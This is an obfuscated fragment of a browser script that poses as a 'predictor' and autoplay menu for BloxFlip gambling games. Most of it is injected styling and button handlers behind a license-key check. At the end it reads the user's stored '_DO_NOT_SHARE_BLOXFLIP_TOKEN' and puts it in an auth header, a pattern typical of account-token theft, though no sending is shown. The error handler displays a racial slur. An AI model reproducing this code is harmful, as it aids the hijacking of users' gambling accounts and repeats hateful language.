var _0x379a3b = document.getElementById("movableMenu");
var _0x3cf5d4 = document.getElementById("menuTitleBar");
_0x1fe014 = false;
_0x5c5955 = 0;
_0x11a33e = 0;
_0x3cf5d4.addEventListener("mousedown", _0x20b42c);
document.addEventListener("mousemove", _0x5e5f4a);
document.addEventListener("mouseup", _0x43515f);
_0x3cf5d4.addEventListener("touchstart", _0x25d539);
document.addEventListener("touchmove", _0x1a52ab);
document.addEventListener("touchend", _0x599954);
var _0x5e296d = document.getElementById("hideButton");
_0x5e296d.addEventListener("click", function () {
_0x379a3b.classList.add("hidden");
_0x27f523(event);
});
var _0x12c0d7 = false;
var _0x389fb8 = document.getElementById("settingsButton");
_0x389fb8.addEventListener("click", function () {
_0x379a3b.style.pointerEvents = "none";
_0x25afa6.style.pointerEvents = "none";
_0x379a3b.style.filter = "blur(4px)";
_0x25afa6.style.filter = "blur(4px)";
_0x12c0d7 = true;
_0x17f27d();
_0x27f523(event);
});
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#settingsWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #settingsTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #settingsTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #settingsTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#exitButton {\n width: 20px;\n
height: 20px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 5px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n margin-
left: auto;\n }\n\n
#exitButton:hover {\n background-color:
#ff4545;\n }\n\n
#exitButton:active {\n background-color:
#942828;\n }\n\n
#settingsContainer {\n margin-top: 3px;\n
position: centered;\n display: flex;\n
flex-direction: column;\n align-items:
center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #statsButton,\n
#sizeButton,\n #emojiButton,\n
#autoPlayButton,\n #unrigButton,\n
#logoutButton,\n #changeColorButton,\n
#changeBindsButton {\n width: 75px;\n
height: 30px;\n font-size: 16px;\n
border: none;\n border-radius: 4px;\n
background-color: var(--themeThirdColor);\n
color: var(--themeFourthColor);\n cursor:
pointer;\n box-shadow: 2px 2px 3px rgba(0,
0, 0, 0.1);\n transition: background-color
0.5s;\n margin: 2px 2px;\n
}\n\n #statsButton:hover,\n
#sizeButton:hover,\n #emojiButton:hover,\n
#autoPlayButton:hover,\n #unrigButton:hover,\n
#logoutButton:hover,\n
#changeColorButton:hover,\n
#changeBindsButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#statsButton:active,\n #sizeButton:active,\n
#emojiButton:active,\n #autoPlayButton:active,\n
#unrigButton:active,\n #logoutButton:active,\n
#changeColorButton:active,\n
#changeBindsButton:active {\n background-
color: var(--activeColor);\n }\n\n
";
document.head.appendChild(_0x57f477);
var _0x46c7d9 = parseInt(localStorage.getItem("gameStartCounter"))
|| 0;
var _0x3c9055 = parseInt(localStorage.getItem("cashoutCounter")) ||
0;
var _0x35d090 = 0;
var _0x1e5f17 = 0;
document.body.addEventListener("click", function (_0x236326) {
var _0x2b5110 = _0x236326.target;
if (_0x2b5110.classList.contains("gameBetSubmit")) {
var _0xfe6fb7 = _0x2b5110.textContent.trim();
if (_0xfe6fb7 === "Start new game") {
_0x46c7d9++;
localStorage.setItem("gameStartCounter", _0x46c7d9);
} else if (_0xfe6fb7.startsWith("Cashout")) {
_0x3c9055++;
localStorage.setItem("cashoutCounter", _0x3c9055);
}
}
});
setInterval(_0x1cf4f6, 1000);
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#statsWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #statsTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #statsTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #statsTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#statsContainer {\n position: relative; /*
Set position to relative */\n display:
flex;\n align-items: center; /* Center
horizontally */\n justify-content: space-
between; /* Distribute items */\n }\n\n
.hollow-circle {\n width: 100px;\n
height: 100px;\n background-color:
transparent;\n border: 10px solid
transparent;\n border-radius: 50%;\n
position: relative;\n }\n\n
.hollow-circle::before {\n content: '';\n
display: block;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n width: 100%;\n
height: 100%;\n border-radius: 50%;\n
border: 5px solid var(--themeThirdColor);\n
position: absolute;\n top: 0;\n
left: 0;\n transform: rotate(90deg);\n
background: conic-gradient(\n from -
90deg,\n #19ba0b var(--winPercentage,
0%),\n #c71e1e var(--winPercentage, 0%)
var(--lossPercentage, 0%),\n #c71e1e
var(--lossPercentage, 0%) 100%,\n
#19ba0b 100%\n );\n
border-image-slice: 1;\n }\n\n
#lossRate,\n #lossPercentage,\n
#winRate,\n #winPercentage {\n
color: var(--themeFourthColor);\n font-size:
14.9px;\n }\n\n
#winRate,\n #lossRate {\n
margin-left:20px;\n }\n\n
#rateContainer {\n margin-top: 10px;\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n margin-
top:10px;\n }\n\n
#rateLabels,\n #ratePercentages {\n
display: flex;\n flex-direction: column;\n
align-items: flex-start;\n }\n\n
.circle-container {\n display: flex;\n
margin-top: 12px;\n align-items: center;\n
justify-content: center;\n margin-
right:20px;\n }\n\n
#statsExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#statsExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#statsExitButton:active {\n background-
color: #942828;\n }\n
";
document.head.appendChild(_0x57f477);
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#emojiChangerWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #emojiChangerTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #emojiChangerTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #emojiChangerTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
.grid-emoji-container label,\n .predict-emoji-
container label {\n font-size: 14px; /*
Increase font size for the labels */\n
color: var(--themeFourthColor);\n margin-
bottom: 5px; /* Adjust spacing between labels and input fields */\n
margin-right: 5px; /* Adjust spacing between labels and input fields */\n
}\n\n #emojiChangerButtons {\n
margin-top: 25px;\n position: centered;\n
display: flex;\n flex-direction: column;\n
align-items: center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #riskEmoji,\n
#mineEmoji,\n #safeEmoji,\n
#gridEmoji {\n height: 20px;\n
width: 34px;\n padding: 8px;\n
color: var(--themeFourthColor);\n margin-
bottom: 10px;\n border-radius: 5px;\n
font-size: 12px;\n background-color: var(--
themeSecondColor);\n margin-right: 5px; /*
Adjust spacing between labels and input fields */\n
}\n\n #emojiCancelButton,\n
#emojiSaveButton {\n width: 75px;\n
height: 30px;\n font-size: 16px;\n
border: none;\n border-radius: 4px;\n
background-color: var(--themeThirdColor);\n
color: var(--themeFourthColor);\n cursor:
pointer;\n box-shadow: 2px 2px 3px rgba(0,
0, 0, 0.1);\n transition: background-color
0.5s;\n margin: 2px 2px;\n
}\n\n #emojiCancelButton:hover,\n
#emojiSaveButton:hover {\n background-color:
var(--hoverColor);\n }\n\n
#emojiCancelButton:active,\n
#emojiSaveButton:active {\n background-
color: var(--activeColor);\n }\n\n
#emojiExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#emojiExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#emojiExitButton:active {\n background-
color: #942828;\n }\n
";
document.head.appendChild(_0x57f477);
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#autoPlayWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #autoPlayTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #autoPlayTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #autoPlayTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#autoPlayContainer {\n margin-top: 15px;\n
position: centered;\n display: flex;\n
flex-direction: column;\n align-items:
center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #crashAutoPlayButton,\n
#rouletteAutoPlayButton,\n
#towersAutoPlayButton,\n #minesAutoPlayButton {\
n width: 80px;\n
height: 100px;\n background-color: var(--
themeThirdColor);\n margin: 5px 5px;\n
font-size: 18px;\n cursor: pointer;\n
border: none;\n border-radius: 4px;\n
color: var(--themeFourthColor);\n box-
shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\n\n
#crashAutoPlayButton:hover,\n
#rouletteAutoPlayButton:hover,\n
#towersAutoPlayButton:hover,\n
#minesAutoPlayButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#crashAutoPlayButton:active,\n
#rouletteAutoPlayButton:active,\n
#towersAutoPlayButton:active,\n
#minesAutoPlayButton:active {\n background-
color: var(--activeColor);\n }\n\n
#autoExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#autoExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#autoExitButton:active {\n background-color:
#942828;\n }\n
";
document.head.appendChild(_0x57f477);
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#minesAutoPlayWindow {\n position:
fixed;\n top: calc(50% - 87.5px); /*
Centers the window vertically */\n left:
calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0
8px rgba(0, 0, 0, 0.4);\n z-index:
99999;\n box-shadow: 0 0 4px 2px var(--
baseColor);\n }\n\n
#minesAutoPlayTitleBar {\n height:
30px;\n border-top-left-radius: 10px;\n
border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-
size: 16px;\n padding: 0 5px;\n
}\n\n #minesAutoPlayTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #minesAutoPlayTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#minesAutoPlayContainer {\n margin-top:
3px;\n position: centered;\n
display: flex;\n flex-direction:
column;\n align-items: center; /* Center
the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #minesAutoPredictButton,\n
#minesPlayButton {\n padding: 5px 15px;\
n margin: 0px 3px;\n
margin-top: 3px;\n margin-bottom: -3px;\
n font-size: 14px;\n
width: 75px;\n height: 55px;\n
cursor: pointer;\n border: none;\n
border-radius: 4px;\n background-color:
var(--themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#predictionTypeButton {\n padding: 5px
15px;\n font-size: 14px;\n
width: 160px;\n height: 30px;\n
cursor: pointer;\n border: none;\n
border-radius: 4px;\n background-color:
var(--themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#minesAutoPredictButton:hover,\n
#minesPlayButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#minesAutoPredictButton:active,\n
#minesPlayButton:active {\n background-
color: var(--activeColor);\n }\n\n
#minesAutoExitButton {\n margin-left:
auto;\n width: 20px;\n
height: 20px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 5px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#minesAutoExitButton:hover {\n
background-color: #ff4545;\n }\n\n
#minesAutoExitButton:active {\n
background-color: #942828;\n }\n\n
#spotsSliderLabel,\n #spotsLabel {\n
font-size: 16px !important;\n margin-
left: 10px;\n margin-bottom: 3px;\n
color: var(--themeFourthColor);\n }\n\n
#spotsSlider {\n width: 150px;\n
margin-left: 10px;\n -webkit-appearance:
none;\n appearance: none;\n
height: 5px !important;\n border-radius:
2px;\n background: #383838; /* Adjust
this color to match your app theme */\n
outline: none;\n }\n\n
#spotsSlider::-webkit-slider-thumb {\n -
webkit-appearance: none;\n appearance:
none;\n width: 15px !important;\n
height: 15px !important;\n border-
radius: 50%;\n background: var(--
themeFourthColor);\n cursor: pointer;\n
}\n\n #spotsSlider::-moz-range-thumb {\n
width: 14px;\n height: 14px;\n
border-radius: 50%;\n background: var(--
themeFourthColor);\n cursor: pointer;\n
}\n ";
document.head.appendChild(_0x57f477);
var _0x4ef8ad = false;
var _0x51309f = false;
var _0x2485cb;
var _0x4d61e7 = false;
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#towersAutoPlayWindow {\n position:
fixed;\n top: calc(50% - 87.5px); /*
Centers the window vertically */\n left:
calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0
8px rgba(0, 0, 0, 0.4);\n z-index:
99999;\n box-shadow: 0 0 4px 2px var(--
baseColor);\n }\n\n
#towersAutoPlayTitleBar {\n height:
30px;\n border-top-left-radius: 10px;\n
border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-
size: 16px;\n padding: 0 5px;\n
}\n\n #towersAutoPlayTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #towersAutoPlayTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#towersAutoPlayContainer {\n margin-top:
3px;\n position: centered;\n
display: flex;\n flex-direction:
column;\n align-items: center; /* Center
the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #towersAutoPredictButton,\n
#towersPlayButton {\n padding: 5px
15px;\n margin: 0px 3px;\n
margin-top: 8px;\n margin-bottom: -3px;\
n font-size: 14px;\n
width: 75px;\n height: 75px;\n
cursor: pointer;\n border: none;\n
border-radius: 4px;\n background-color:
var(--themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n transition:
background-color 0.5s;\n }\n\n
#towersAutoPredictButton:hover,\n
#towersPlayButton:hover {\n background-
color: var(--hoverColor);\n }\n\n
#towersAutoPredictButton:active,\n
#towersPlayButton:active {\n background-
color: var(--activeColor);\n }\n\n
#towersAutoExitButton {\n margin-left:
auto;\n width: 20px;\n
height: 20px;\n background: var(--
themeThirdColor);\n border: none;\n
border-radius: 5px;\n color: var(--
themeFourthColor);\n font-size: 18px;\n
cursor: pointer;\n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\n
#towersAutoExitButton:hover {\n
background-color: #ff4545;\n }\n\n
#towersAutoExitButton:active {\n
background-color: #942828;\n }\n\n
#autorow2 {\n padding: 5px;\n
margin-top: 5px; /* Add margin to the top */\n
}\n\n #spotsSliderLabel,\n
#spotsLabel {\n font-size: 20px; /*
Increase the font size */\n margin-left:
10px; /* Add margin to the left */\n
margin-bottom: 5px; /* Add margin to the left */\n
color: var(--themeFourthColor); /* Adjust the color to match your app theme */\n
}\n\n #spotsSlider {\n
width: 150px;\n margin-left: 10px;\n
-webkit-appearance: none;\n appearance:
none;\n height: 7px;\n
border-radius: 2px;\n background:
#383838; /* Adjust this color to match your app theme */\n
outline: none;\n }\n\n
#spotsSlider::-webkit-slider-thumb {\n -
webkit-appearance: none;\n appearance:
none;\n width: 20px;\n
height: 20px;\n border-radius: 50%;\n
background: var(--themeFourthColor);\n
cursor: pointer;\n }\n\n
#spotsSlider::-moz-range-thumb {\n
width: 14px;\n height: 14px;\n
border-radius: 50%;\n background: var(--
themeFourthColor);\n cursor: pointer;\n
}\n ";
document.head.appendChild(_0x57f477);
var _0x3aa534 = false;
var _0x12e978;
var _0xe9be5a = parseInt(localStorage.getItem("minesKeyCode"));
document.addEventListener("keydown", function (_0x16a64b) {
if (_0x16a64b.keyCode === _0xe9be5a) {
_0x27c9a0();
}
});
var _0x2ad8c1 = parseInt(localStorage.getItem("safeKeyCode"));
document.addEventListener("keydown", function (_0x509b8d) {
if (_0x509b8d.keyCode === _0x2ad8c1) {
_0x1d0171();
}
});
var _0x21657f = parseInt(localStorage.getItem("crashKeyCode"));
document.addEventListener("keydown", function (_0x1e62d6) {
if (_0x1e62d6.keyCode === _0x21657f) {
_0x3dd9b2();
}
});
var _0x15a731 = parseInt(localStorage.getItem("slideKeyCode"));
document.addEventListener("keydown", function (_0x2e6cea) {
if (_0x2e6cea.keyCode === _0x15a731) {
_0x3ed581();
}
});
document.addEventListener("keydown", function (_0x585d1e) {
if (_0x585d1e.keyCode === _0x15a731) {
_0x2e6566();
}
});
var _0x234fcc = parseInt(localStorage.getItem("menuKeyCode")) ||
16;
var _0x20a602 = function (_0x2a2bfd) {
_0x27f523(_0x2a2bfd);
if (_0x2a2bfd.keyCode === _0x234fcc) {
if (!_0x379a3b.classList.contains("hidden")) {
_0x379a3b.classList.add("hidden");
} else {
_0x379a3b.classList.remove("hidden");
}
}
};
document.addEventListener("keydown", _0x20a602);
document.addEventListener("keydown", function (_0x2ab82d) {
if (_0x12c0d7) {
_0x20a602(_0x2ab82d);
}
});
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#keyBindsWindow {\n position:
fixed;\n top: calc(50% - 87.5px); /*
Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0
0 8px rgba(0, 0, 0, 0.4);\n z-index:
99999;\n box-shadow: 0 0 4px 2px
var(--baseColor);\n }\n\n
#keyBindsTitleBar {\n height: 30px;\
n border-top-left-radius: 10px;\n
border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items:
center;\n justify-content: space-
between;\n font-size: 16px;\n
padding: 0 5px;\n }\n\n
#keyBindsTitleContainer {\n display:
flex;\n align-items: center;\n
}\n\n #keyBindsTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-
decoration: underline;\n }\n\n
#keyBindsContainer {\n margin-top:
10px;\n position: centered;\n
display: flex;\n flex-direction:
column;\n align-items: center; /*
Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #menuBindButton,\n
#crashBindButton,\n #slideBindButton,\n
#safeBindButton,\n #minesBindButton {\n
width: 95px;\n height: 30px;\n
margin: 3px 3px;\n font-size: 14px;\
n cursor: pointer;\n
border: none;\n border-radius: 4px;\
n background-color: var(--
themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px
2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\
n\n #towersBindButton {\n
width: 95px;\n height: 30px;\n
margin: 3px 3px;\n font-size: 14px;\
n cursor: pointer;\n
border: none;\n border-radius: 4px;\
n background-color: var(--
themeSecondColor);\n color: var(--
themeFourthColor);\n box-shadow: 2px
2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\
n\n #menuBindButton:hover,\n
#towersBindButton:hover,\n
#crashBindButton:hover,\n
#slideBindButton:hover,\n
#safeBindButton:hover,\n
#minesBindButton:hover {\n
background-color: var(--hoverColor);\
n }\n\n
#menuBindButton:active,\n
#towersBindButton:active,\n
#crashBindButton:active,\n
#slideBindButton:active,\n
#safeBindButton:active,\n
#minesBindButton:active {\n
background-color: var(--activeColor);\
n }\n\n
#bindExitButton {\n width: 20px;\n
height: 20px;\n margin-left: auto;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\
n color: var(--themeFourthColor);\n
font-size: 18px;\n cursor: pointer;\
n padding: 0;\n
box-shadow: 2px 2px 3px rgba(0, 0, 0, 0.1);\n
transition: background-color 0.5s;\n }\n\
n #bindExitButton:hover {\n
background-color: #ff4545;\n }\n\n
#bindExitButton:active {\n
background-color: #942828;\n }\n\n
";
document.head.appendChild(_0x57f477);
_0x57f477 = document.createElement("style");
_0x57f477.innerHTML = "\n
#colorPickerWindow {\n position: fixed;\n
top: calc(50% - 87.5px); /* Centers the window vertically */\n
left: calc(50% - 125px); /* Centers the window horizontally */\n
width: 250px;\n height: 175px;\n
background-color: var(--themeBaseColor);\n
border-radius: 10px;\n box-shadow: 0 0 8px
rgba(0, 0, 0, 0.4);\n z-index: 99999;\n
box-shadow: 0 0 4px 2px var(--baseColor);\n }\n\
n #colorPickerTitleBar {\n
height: 30px;\n border-top-left-radius:
10px;\n border-top-right-radius: 10px;\n
background-color: var(--themeSecondColor);\n
display: flex;\n align-items: center;\n
justify-content: space-between;\n font-size:
16px;\n padding: 0 5px;\n
}\n\n #colorPickerTitleContainer {\n
display: flex;\n align-items: center;\n
}\n\n #colorPickerTitle {\n
padding: 0 10px;\n color: var(--
themeFourthColor);\n text-decoration:
underline;\n }\n\n
#colorPickerContainer {\n margin-top: 10px;\
n position: centered;\n
display: flex;\n flex-direction: column;\n
align-items: center; /* Center the components horizontally */\n
justify-content: center; /* Center the components vertically */\n
}\n\n #colorPicker::-webkit-color-swatch {\n
border: none;\n border-radius: 5px;\n
box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n }\
n\n #colorPicker {\n
width: 155px;\n height: 25px;\n
margin-top: 0;\n border: none;\n
border-radius: 5px;\n box-shadow: 2px 2px
4px rgba(0, 0, 0, 0.2);\n padding: 0;\n
background-color: var(--themeSecondColor);\n }\
n\n #colorPickerButtons {\n
margin-top: 10px;\n }\n\n
#colorPickerButtons2 {\n margin-top: 10px;\n
}\n\n #themeButton,\n
#resetButton,\n #applyButton,\n
#cancelButton {\n width: 70px;\n
height: 30px;\n margin: 0 5px;\n
font-size: 16px;\n cursor: pointer;\n
border: none;\n border-radius: 4px;\n
background-color: var(--themeSecondColor);\n
color: var(--themeFourthColor);\n box-
shadow: 2px 2px 4px rgba(0, 0, 0, 0.2);\n
transition: background-color 0.5s;\n }\n\n
#themeButton:hover,\n #resetButton:hover,\n
#applyButton:hover,\n #cancelButton:hover {\n
background-color: var(--hoverColor);\n }\n\n
#themeButton:active,\n #resetButton:active,\n
#applyButton:active,\n #cancelButton:active {\n
background-color: var(--activeColor);\n }\n\n
#colorExitButton {\n margin-left: auto;\n
width: 20px;\n height: 20px;\n
background: var(--themeThirdColor);\n
border: none;\n border-radius: 5px;\n
color: var(--themeFourthColor);\n font-size:
18px;\n cursor: pointer;\n
padding: 0;\n box-shadow: 2px 2px 3px
rgba(0, 0, 0, 0.1);\n transition:
background-color 0.5s;\n }\n\n
#colorExitButton:hover {\n background-color:
#ff4545;\n }\n\n
#colorExitButton:active {\n background-
color: #942828;\n }\n
";
document.head.appendChild(_0x57f477);
var _0x3a9382 = new MutationObserver(function (_0x1f9995,
_0x2ee9fd) {
var _0x4de9e8;
for (_0x4de9e8 of _0x1f9995) {
if (_0x4de9e8.type === "childList") {
if (document.getElementById("layout_layoutChat__5wEvy")) {
_0x202097();
}
}
}
});
var _0x17802f = {
childList: true,
subtree: true
};
_0x3a9382.observe(document.documentElement, _0x17802f);
if (document.getElementById("layout_layoutChat__5wEvy")) {
_0x202097();
}
var _0x4fb697 = document.getElementById("crashpredictButton");
_0x4fb697.addEventListener("click", function () {
_0x3dd9b2();
_0x27f523(event);
});
var _0x2c514b = document.getElementById("towerpredictButton");
_0x2c514b.addEventListener("click", function () {
_0x2e6566();
_0x27f523(event);
});
var _0x19ae61 = document.getElementById("roulettepredictButton");
_0x19ae61.addEventListener("click", function () {
_0x3ed581();
_0x27f523(event);
});
var _0x5e090b = document.getElementById("safepredictButton");
_0x5e090b.addEventListener("click", function () {
_0x1d0171();
_0x27f523(event);
});
var _0x24e0de = document.getElementById("minepredictButton");
_0x24e0de.addEventListener("click", function () {
_0x27c9a0();
_0x27f523(event);
});
}
}, 10);
}, 800);
} else {
console.log("s");
onError("Invalid license key x");
}
} else {
console.log("s2");
onError("Invalid license key x ");
}
} else {
console.log("s3");
onError("Invalid license key xxxx");
}
}
})();
function onError(_0x2ef211) {
var _0x37745f = document.getElementById("errorMessage");
_0x37745f.textContent = "nigger";
_0x37745f.style.display = "block";
setTimeout(function () {
_0x37745f.style.display = "none";
}, 1000);
}
function setChatBubble(_0x16076a) {
var _0x3eb192 = document.getElementById("successMessage");
_0x3eb192.textContent = _0x16076a;
_0x3eb192.style.display = "block";
setTimeout(function () {
_0x3eb192.style.display = "none";
}, 750);
}
"use strict";
var value = localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": value
};
var scrollTop = 0;
var initializeCheckTimer;
p();
;

You might also like